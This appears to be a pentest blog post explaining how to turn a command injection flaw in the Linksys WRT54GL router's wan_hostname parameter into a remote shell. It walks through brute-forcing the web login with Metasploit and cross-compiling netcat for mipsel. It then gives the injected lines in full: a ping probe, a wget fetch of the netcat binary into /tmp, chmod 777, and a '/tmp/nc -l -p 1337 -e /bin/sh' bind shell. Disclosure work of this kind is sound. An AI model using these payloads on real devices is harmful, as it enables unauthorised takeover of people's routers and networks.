Using the discovered OS Command Injection vulnerability in Linksys WRT54GL within a pentest

After releasing the OS command execution vulnerability in the WRT54GL router from Linksys last week there were some requests about how could we use this vulnerability for getting a remote shell.

First off all we have to analyze the firmware a bit. For this it is best to download the original firmware from the vendor and use the firmware-modification-kit or binwalk created by Craig Heffner and Jeremy Collake. Awesome toolkit from awesome guys.

So let’s extract and analyse the firmware a bit:

You should play a little bit more with the filesystem ... there is a lot of interesting stuff. For now and for our purpose it is enough! With this information we know that we should be able to download more stuff to the device with wget.
Next we need a working backdoor that we could download with netcat and execute on the device. Metasploit does not help us much on the mipsel platform. So we have to build our own backdoor. The easiest way doing this is to download the sources from the GPL Center of Linksys, extract it and use the original toolchain.

The original toolchain is located in the following path:

To get this toolchain working we have to install it within the opt directory just by copying over there:

Next we need to adjust our PATH variable:

And now it should work and our system should be able to find it via auto completion:

Let’s go ahead and try to compile a simple hello world:

Look’s quite good. If you are going the extra mile you could connect via serial to your box, use wget, upload it and so on … but we need a shell :)
Download the netcat sources, extract it and compile your netcat for mipsel in the following way:

Quite easy and now we have our backdoor. Final step is to pwn the box …

First upload your new and shiny netcat to a webserver which is accessible from your Linksys box. Next get access to the webinterface of your router. Typically you need to attack the basic authentication of the device for this. There are some different tools for this. Normally I will use the http_login module from Metasploit. This one is quite easy to use.
After a successful attack we get access to the webinterface and we are able to verify that the box is vulnerable via a simple ping check. Such a request looks something like the following:

The vulnerable parameter is wan_hostname and we have injected a simple ping command to our local machine: `%20ping%20192%2e168%2e178%2e101%20`

Cause it is a blind OS Command Injection you will need some possibility to verify if it works. For this you could use tcpdump or Wireshark.

Next step is to upload your new compiled netcat, change permissions for execution and execute it.
First request is for uploading: `wget http:///netcat-wrt54gl –O /tmp/nc`

The second request needs to adjust the permissions of our netcat binary: `chmod 777 /tmp/nc`

And finally execute it to open a bind shell: `/tmp/nc –v –l –p 1337 –e /bin/sh`

After this we are able to connect to our Linksys router via netcat to port 1337 and boom … shell:

Some resources to this vulnerability:

• Original advisory
• BID-57459
• ISS X-Force - Cisco Linksys WRT54GL command execution - wrt54gl-command-execution (81384)
• ISS X-Force - Cisco Linksys WRT54GL password cross-site request forgery - linksys-wrt54gl-password-csrf (81385)
• ISS X-Force - Cisco Linksys WRT54GL submit_button cross-site scripting - wrt54gl-submitbutton-xss (81386)
• ISS X-Force - Cisco Linksys WRT54GL f_name cross-site scripting - wrt54gl-fname-xss (81387)

have phun